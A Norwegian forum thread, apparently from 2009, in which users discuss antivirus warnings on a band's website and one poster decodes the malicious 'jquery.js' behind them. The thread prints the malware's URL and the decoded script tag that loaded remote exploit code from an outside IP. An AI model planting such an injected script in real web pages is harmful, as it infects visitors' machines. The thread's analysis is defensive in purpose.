Jeg bare spør, da jeg i grunn ikke har peiling på virus og trojanere og hvordan de fungerer i praksis Har liksom aldri hatt noen grunn til å bekymre meg for sånt tidligere, men nå sitter jeg med windows (vista) PC lånt av svigerfar, og her bruker han Norman.
Skulle sjekke ut den nye skiva Dream Theater kommer med, men når jeg går inn på hjemmesiden (**www.dreamtheater.net) deres får jeg beskjed hvert annet sekund om at Norman har funnet en trojaner og puttet den i karantene
For det første skjønner jeg ikke hva som da egentlig skjer, og hvor er det trojanerene i såfall gjemmer seg (?)
Nå føler jeg meg rimelig tett her, men er det noen som gidder å forklare meg hvordan de fungerer...?

Edit: la inn et par stjerner i linken.( i tilfelle)

http://www.siteadvisor.com/sites/dreamtheater.net
Siden er god.
Dette er en falsk posetiv melding fra norman.

Svaret gir du jo selv den blir satt i karantene.

Du må se i loggen til norman hvilken fil den reager på.
Da fungerer det sånn at du må sende en melding til norman,så dem får rettet opp i denne falske meldingen.

Er du usikker på om filen som blir lastet ned er god teste den på virustotal
Er det snakk om falsk posetiv vil 1 til toppen 3 finne at filen er infesert.

Det er sant det trådstarter skriver. Virusprogrammet kaspersky fant dette 08.04.2009 14:23:31 http://94.247.2.195/jquery.js Firefox [COLOR="Red"]Detected: Trojan-Downloader.JS.Agent.dwf [/COLOR]

"Svaret gir du jo selv den blir satt i karantene."



Joda, det jeg lurte på var hvor på websiden den kommer fra, siden jeg ikke har lastet ned noe, det eneste jeg gjør er jo rett og slett og slett å gå inn på siden?

Ja stemmer har kjørt "jquery.js" på virustotal og får flere gir advarsel på den.

Jeg analyser hva "jquery.js" faktis gjør.
Decoder jeg den får vi dette.
<script src=http://94.247.2.195/news/?id=101></script>
Den prøver og redirecte til en annen side "http://94.247.2.195/news/?id=101"

Denne siden er ikke aktiv lengere derfor gjør "jquery.js" ingen skade nå.
Jeg undersøkte litt hva den gjorde når adressen var aktiv.

Den prøvde og utnytte sikkerhullet som var i flashplayer og pdf,dette er nå tettet i nyere versjoner.

Dette scripet skulle vært fjernet av eier av nettsiden.
Scriptet gjør ingen skade nå.
Dem som vil besøke siden uten advasler,bør sende mail til eier av nettside om problemet.

Når du går inn på en nettside blir flere filer lastet ned automatisk til deg.